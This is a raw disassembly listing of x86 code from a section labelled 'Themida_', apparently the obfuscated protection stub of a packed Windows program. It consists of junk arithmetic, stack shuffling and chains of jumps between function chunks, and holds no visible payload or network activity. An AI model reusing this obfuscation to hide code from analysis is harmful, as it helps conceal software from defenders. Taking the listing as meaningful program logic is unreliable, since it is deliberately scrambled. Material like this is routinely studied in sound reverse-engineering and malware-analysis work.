loc_59CBF2:				; CODE XREF: sub_5A8C33-E05Fj
		sub	ebp, ecx
		add	ebp, 4FB038C9h
		push	[esp-10h+arg_C]
		jmp	loc_5A1B90
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59CC02:				; CODE XREF: sub_59B707+CA7Bj
		push	[esp-8+arg_2+2]
		pop	esi
		add	esp, 4
		jmp	sub_5ABB23
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA396


loc_59CC11:				; CODE XREF: sub_5AA396-82A2j
		push	ecx
		jmp	loc_5AABFE
; END OF FUNCTION CHUNK	FOR sub_5AA396
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_59CC17:				; CODE XREF: sub_5AB88E-9A48j
		add	edi, 6E0D9DE2h
		sub	edi, 5B0F398Fh
		push	edx
		jmp	loc_59B7D5
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_59CC29:				; CODE XREF: sub_5AC402+29EAj
		add	dl, bh
		pop	ebx
		sub	dl, 0B2h
		jmp	loc_5A564E
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59CC34:				; CODE XREF: sub_59D99C+9437j
		mov	word ptr [esp+0Ch+var_C], bp
		mov	bp, 6730h
		xor	cx, bp
		pop	bp
		or	cx, 2EEBh
		not	cx
		shr	cx, 1
		xor	cx, 38B6h
		add	ax, 311Ch
		sub	ax, cx
		sub	ax, 311Ch
		pop	ecx
		mov	dx, word ptr [esp+6+var_8+2]
		push	ecx
		mov	ecx, esp
		jmp	loc_5A9494
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A73AF


loc_59CC69:				; CODE XREF: sub_5A73AF-24CEj
		pop	ebx
		add	esp, 4
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A73AF

; =============== S U B	R O U T	I N E =======================================



sub_59CC75	proc near		; CODE XREF: sub_59CA4A+3A19j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005987B6 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A7790 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A7A19 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, 44B0225Eh
		xor	ecx, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		and	ecx, 5B3A4BAAh
		jmp	loc_5987B6
sub_59CC75	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59CC91:				; CODE XREF: sub_5A8D43-F5Ej
		mov	[esp+8+var_8], ecx
		mov	cl, 40h
		jmp	loc_59BA6C
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_59CC9B:				; CODE XREF: sub_5A0F44+6DB0j
		inc	ebx
		jp	loc_5A57ED
		add	ebx, 0E4118B90h
		add	edi, ebx
		pop	ebx
		jmp	loc_5A4E3F
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_59CCB0:				; CODE XREF: sub_5AE6FD-86A2j
		and	dl, 0BEh
		add	dl, 0CFh
		jmp	loc_5A2D45
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_59CCBB:				; CODE XREF: sub_5A91CF-449Ej
		xor	eax, [esp+4+var_4]
		pop	esp
		jmp	loc_5A5089
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------


loc_59CCC4:				; CODE XREF: Themida_:0059FB03j
		mov	esp, [esp]
		push	5398h
		mov	[esp], ebp
		push	4E49h
		jmp	loc_5AA920
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59CCD9:				; CODE XREF: sub_5AC95F-6EAj
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		push	edx
		jmp	loc_598110
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59CCE8:				; CODE XREF: sub_59D99C+C86j
		xchg	edx, [edi+24h]
		sub	edx, 0FFFFFFFFh
		push	dword ptr [edi+24h]
		jmp	sub_5AA396
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59CCF9:				; CODE XREF: Themida_:0059DD70j
		push	eax
		push	4
		pop	eax
		add	esi, eax
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_59FA05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE18


loc_59CD0E:				; CODE XREF: sub_5986D6+DCDAj
					; sub_5AEE18-5028j
		xchg	edi, [esp+0]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_5AEE18

; =============== S U B	R O U T	I N E =======================================



sub_59CD12	proc near		; CODE XREF: sub_597C68+CD09j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00598468 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A327A SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A3FE0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A40E8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4D10 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A55CC SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A5A94 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A92F8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A95A0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ACA94 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	0D40h
		mov	[esp+8+var_8], ebp
		push	3F01h
		mov	[esp+0Ch+var_C], edx
		jmp	loc_5A327A
sub_59CD12	endp

; ---------------------------------------------------------------------------


loc_59CD2D:				; CODE XREF: Themida_:005AAB4Bj
		sub	ebx, 7DDF5E37h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	42A7h
		jmp	loc_59F656
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		mov	edx, 28260079h
		jmp	loc_5ABD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59CD54:				; CODE XREF: sub_599059+134AEj
		add	esi, 12024F9Dh
		push	[esp-6+arg_0+2]
		mov	eax, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2+var_4+2]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_5ABD28
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_59CD78:				; CODE XREF: Themida_:0059C9DCj
		sub	eax, 45EC7166h
		mov	ecx, eax
		jmp	loc_5A58CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_59CD84:				; CODE XREF: sub_5ACD64-3B5Cj
		mov	[ecx], eax
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		push	[esp-0Ch+arg_8]
		jmp	loc_5A457E
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_599DC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59CDAC:				; CODE XREF: sub_59D99C-5CBAj
		mov	[esp+0], ebp
		push	8E5h
		mov	[esp+4+var_4], edx
		push	ebx
		mov	ebx, 59491C2Ah
		jmp	loc_5AD63C
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59CDC2:				; CODE XREF: Themida_:0059E29Dj
		mov	cx, [esp]
		push	3369h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5AB70D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8108


loc_59CDD5:				; CODE XREF: sub_5A8108+16EDj
		mov	eax, 1BC672BDh
		neg	eax
		inc	eax
		add	eax, 2E0E3938h
		xor	eax, 48A7824Bh
		sub	ebp, eax
		jmp	loc_59A612
; END OF FUNCTION CHUNK	FOR sub_5A8108
; ---------------------------------------------------------------------------


loc_59CDEE:				; CODE XREF: Themida_:005A97A4j
		mov	ecx, esp
		push	2BC1h
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_5A2699

; =============== S U B	R O U T	I N E =======================================



sub_59CE02	proc near		; CODE XREF: sub_5A91EC-B538j

var_4		= dword	ptr -4

		push	ebx
		add	[esp+4+var_4], 4AF6703h
		pop	ebp
		sub	ebp, 4AF6703h
		push	ebx
		mov	ebx, ebp
		mov	eax, ebx
		pop	ebx
		push	dword ptr [esp+0]
		jmp	loc_59C5E3
sub_59CE02	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A346D


loc_59CE1F:				; CODE XREF: sub_5A346D-39CCj
		mov	edx, 61464F95h
		shl	edx, 8
		xor	edx, 655997CBh
		add	ebp, edx
		pop	edx
		add	ebp, edi
		sub	ebp, 231602CBh
		jmp	loc_598759
; END OF FUNCTION CHUNK	FOR sub_5A346D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_59CE3D:				; CODE XREF: sub_59DBFF-2E92j
		pop	edx
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edx
		push	esi
		mov	esi, 72B47D6Ch
		add	esi, 8D4B82BCh
		jmp	loc_5A37F1
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_59CE59:				; CODE XREF: sub_59ACEC+1899j
		pop	esi
		sub	esp, 4
		jmp	loc_5A8BF2
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59CE62:				; CODE XREF: sub_5A8C33-8C3Aj
		jnp	loc_5A9928
		or	edi, 35034610h
		sub	edi, 0FDEFC7D4h
		pop	edx


loc_59CE75:				; CODE XREF: sub_599059+3002j
					; sub_5A989A-8481j
		push	ebx
		mov	ebx, 93F8E16Dh
		xor	edx, ebx
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		add	edi, 42E80A32h
		add	edi, edx
		push	ebx
		sub	esp, 4
		mov	[esp-8+arg_4], ecx
		push	7AE20E91h
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5A6C32
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59CEA5:				; CODE XREF: sub_5A91EC+937j
		pop	edx
		add	ecx, 4
		push	ecx
		push	[esp-18h+arg_18]
		mov	ecx, [esp-14h+arg_10]
		sub	esp, 4
		mov	[esp-10h+arg_C], ebp
		jmp	loc_5AEF48
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_59CEBC:				; CODE XREF: sub_5A7343-6AE2j
					; sub_5A7343:loc_5AD9AAj
		pop	bx
		push	eax
		jmp	loc_5A9B28
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------


loc_59CEC4:				; CODE XREF: Themida_:005AEB98j
		pop	eax
		inc	eax
		jmp	loc_59FC5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_59CECB:				; CODE XREF: sub_5ACD64-2628j
		xor	ebp, esi
		jmp	loc_5A2B32
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_59CED2:				; CODE XREF: Themida_:005A18B9j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A4DC2
; ---------------------------------------------------------------------------


loc_59CEE0:				; CODE XREF: Themida_:005A2FFDj
					; Themida_:005AA089j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		div	cl
		movzx	cx, ah
		push	707Bh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 2
		push	157Ah
		mov	[esp], esi
		mov	esi, 13520DA4h
		shr	esi, 4
		neg	esi
		sub	esi, 38B9081Fh
		push	ebx
		mov	ebx, 249B450Dh
		jmp	loc_5AC6EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59CF28:				; CODE XREF: sub_59CA4A:loc_5AD784j
		jmp	loc_5A34A1
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AFAC


loc_59CF2D:				; CODE XREF: sub_59AFAC+9j
		mov	edi, [esp+0]
		jmp	loc_5AD06E
; END OF FUNCTION CHUNK	FOR sub_59AFAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A799C


loc_59CF35:				; CODE XREF: sub_5A799C-A59Dj
		add	bl, 0A4h
		add	bl, 68h
		push	edx
		mov	dh, 3Dh
		not	dh
		xor	dh, 0B5h
		jmp	loc_59E0D9
; END OF FUNCTION CHUNK	FOR sub_5A799C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_59CF48:				; CODE XREF: sub_5A141E-7CBCj
		xchg	eax, edi
		pop	eax
		jmp	loc_599550
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59CF4F:				; CODE XREF: sub_599059+7424j
		push	cx
		mov	ch, 36h
		add	bl, 0B9h
		add	bl, ch
		sub	bl, 0B9h
		pop	cx
		mov	ecx, [esp+2+var_4+2]
		jmp	loc_5A5CBA
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59CF65:				; CODE XREF: sub_5AC95F-A32Bj
		xor	edi, 59351E23h
		jnb	loc_5A1C97
		jmp	loc_5A4A4B
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		push	esp
		mov	bl, dh
		mov	ecx, esi


loc_59CF7B:				; CODE XREF: Themida_:005990F9j
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_5A2F10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59CF85:				; CODE XREF: sub_59D99C+32F0j
		sub	ebp, ecx
		pop	ecx
		add	eax, ebp
		pop	ebp
		push	45EBh
		jmp	loc_5AED08
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59CF95:				; DATA XREF: Themida_:005978B8o
		lodsb
		jmp	sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59CF9B:				; CODE XREF: sub_599059+1010Aj
		jmp	loc_5AB929
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59CFA0:				; CODE XREF: sub_59A932+127D4j
		add	edx, 84F7A3BBh
		mov	edi, edx
		jmp	loc_5A7141
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_59CFAD:				; CODE XREF: sub_5986D6+4418j
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_5A8836
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59CFB6:				; CODE XREF: sub_5A1B2A-9F9Cj
		mov	[esp-4+arg_0], eax
		push	ebx
		jmp	sub_5A9228
; END OF FUNCTION CHUNK	FOR sub_5A1B2A

; =============== S U B	R O U T	I N E =======================================



sub_59CFBF	proc near		; CODE XREF: sub_5AEA4A-75E6j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059A318 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059DD75 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F383 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A29CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3072 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A45D9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A841D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A9030 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A9277 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AD880 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ADFFB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE8DC SIZE 00000011 BYTES

		push	ebp
		push	6AEB0ACEh
		pop	ebp
		not	ebp
		and	ebp, 0AEC7F76h
		js	loc_5AD880
		xor	ebp, 0F4B222Eh
		jmp	loc_5ADFFB
sub_59CFBF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59CFDF:				; CODE XREF: sub_59D99C-3199j
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		push	ecx
		push	esp
		mov	ecx, [esp+0]
		jmp	loc_5AEA6B
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_59CFED:				; CODE XREF: Themida_:005ABBF7j
		sub	esi, 6D06717Eh
		push	eax
		mov	eax, 21461297h
		add	esi, eax
		jmp	loc_598B4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_59D000:				; CODE XREF: sub_598D67+1177Cj
		pop	ebp
		jmp	loc_59BAC3
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_59D006:				; CODE XREF: sub_59D24A-36A7j
		mov	cl, ah
		jmp	loc_5AC5D6
; END OF FUNCTION CHUNK	FOR sub_59D24A

; =============== S U B	R O U T	I N E =======================================



sub_59D00D	proc near		; DATA XREF: Themida_:00597968o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059ADAD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B57A SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0059FDF0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059FEDD SIZE 00000042 BYTES
; FUNCTION CHUNK AT 005A2292 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2726 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3519 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A35E8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A83DA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A8491 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB76E SIZE 00000011 BYTES

		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59B57A
sub_59D00D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_59D029:				; CODE XREF: sub_59FFBE+70A3j
		add	edx, ebx
		pop	ebx
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5A4A9C
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_59D03D:				; CODE XREF: sub_5ABF4A-1F82j
		pop	edi
		xchg	ebp, [esp-8+arg_4]
		pop	esp
		push	ebp
		push	10h
		mov	ebp, [esp-4+arg_0]
		jmp	loc_5A34A1
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_59D050:				; CODE XREF: sub_59C53B:loc_5A6AB3j
		add	edi, 5E057107h
		jmp	loc_5A89B7
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A667A


loc_59D05B:				; CODE XREF: sub_5A667A+573Bj
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	[esp+4+var_4]
		jmp	loc_5A7537
; END OF FUNCTION CHUNK	FOR sub_5A667A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59D077:				; CODE XREF: sub_59D99C+12ABj
		push	2299h
		jmp	loc_59F0B8
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_59D081:				; CODE XREF: sub_59CA4A-2D32j
		mov	ebp, 36584323h
		sub	ebp, 5E02B66h
		xor	ebp, 2623121Bh
		dec	ebp
		jmp	loc_59F25D
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_59A141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59D0A4:				; CODE XREF: Themida_:00599683j
					; sub_5A3F42+5D40j
		mov	[esp+0], edi
		jmp	loc_5A00BD
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_59D0AC:				; CODE XREF: sub_5A728F+5AD0j
		mov	ebx, 7E371C9Eh
		neg	ebx
		xor	ebx, 4A8D0B33h
		and	ebx, 258D0597h
		xor	ebx, 0A34EE318h
		xor	ecx, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_5A90D3
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------


loc_59D0CF:				; CODE XREF: Themida_:005ADF2Dj
		push	eax
		mov	eax, 33475A08h
		jmp	loc_5AAF1F
; ---------------------------------------------------------------------------


loc_59D0DA:				; CODE XREF: Themida_:0059F2C3j
		mov	ebp, 4B6B4EF0h
		or	ebp, 91F4044h
		push	0
		sub	[esp], ebp
		pop	ebp
		jmp	loc_59A432
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59D0F3:				; CODE XREF: sub_598D16+122A8j
					; sub_599059+1407Dj
		sub	ecx, 19EFDB8h
		add	ebp, ecx
		pop	ecx
		mov	edx, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_5A042F
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_59D109:				; CODE XREF: Themida_:005A81EFj
		mov	ebp, 0FAC3D30h
		mov	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_59A06B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_59D118:				; CODE XREF: sub_59A932+C822j
		dec	ebp
		xor	ebp, 133B2A8Fh
		sub	eax, 2F33795Bh
		add	eax, ebp
		add	eax, 2F33795Bh
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59AB1C
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------


loc_59D136:				; CODE XREF: Themida_:0059BCDEj
		push	edi
		mov	edi, 48561B74h
		add	edi, 0B7A9E490h
		jmp	loc_59DF1C

; =============== S U B	R O U T	I N E =======================================



sub_59D147	proc near		; CODE XREF: sub_5A141E+2DCDj

var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 005A2052 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A39CC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A9438 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9B7C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AD48E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AE752 SIZE 00000019 BYTES

		push	ebp
		mov	bp, 53A5h
		jmp	loc_5A9438
sub_59D147	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59D151	proc near		; CODE XREF: sub_5AC402-BB21j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059BBAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059BF1C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059DE8A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A11DF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A25D9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3B7E SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005AB5F0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AC839 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AC948 SIZE 00000011 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	edx
		push	ebx
		mov	ebx, 1D2815CAh
		add	ebx, 0C947A46h
		jz	loc_5AC948
		xor	ebx, 1FE96E80h
		jg	loc_59BBAE
		jmp	loc_5983CA
sub_59D151	endp

; ---------------------------------------------------------------------------
		shl	ebx, 6
		jmp	loc_59973A

; =============== S U B	R O U T	I N E =======================================



sub_59D180	proc near		; CODE XREF: sub_59A932+D64Fj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059891A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059C669 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A2DD3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A5D2D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6251 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AB346 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AC006 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AD794 SIZE 00000025 BYTES

		sub	esp, 4
		jmp	loc_5A2DD3
sub_59D180	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_59D18B:				; CODE XREF: sub_5A600F+626j
		pop	esi
		jmp	loc_5988A7
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_59D191:				; CODE XREF: sub_59D99C+1040Cj
		push	ecx
		push	esi
		jmp	loc_5A41DC
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A36E3


loc_59D198:				; CODE XREF: sub_5A36E3-EB5j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5AF0E1
; END OF FUNCTION CHUNK	FOR sub_5A36E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_59D1A9:				; CODE XREF: sub_5A34FD+17j
		pop	esp
		jmp	loc_598CCF
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59D1AF:				; CODE XREF: sub_5A8C33+41CCj
		mov	[esp-8+arg_4], ecx
		jmp	loc_59DC11
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_59D1B7:				; CODE XREF: Themida_:0059A2D1j
		push	4D55h
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 579D01E1h
		shr	ecx, 1
		jmp	loc_5A1460
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59D1CE:				; CODE XREF: sub_5A1B2A+A019j
		dec	esi
		push	77ADh
		mov	[esp+4+var_4], edi
		jmp	loc_59F2CE
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_59D1DC:				; CODE XREF: sub_5A1076-3A79j
		mov	edi, 6B4A7724h
		add	ecx, edi
		pop	edi
		sub	ecx, ebx
		jmp	loc_599474
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_59D1EB:				; CODE XREF: sub_5AB88E+2B59j
		mov	[esp+0], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+0]
		jmp	loc_5A4D90
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_59D20C:				; CODE XREF: Themida_:005A79ADj
		push	ebx
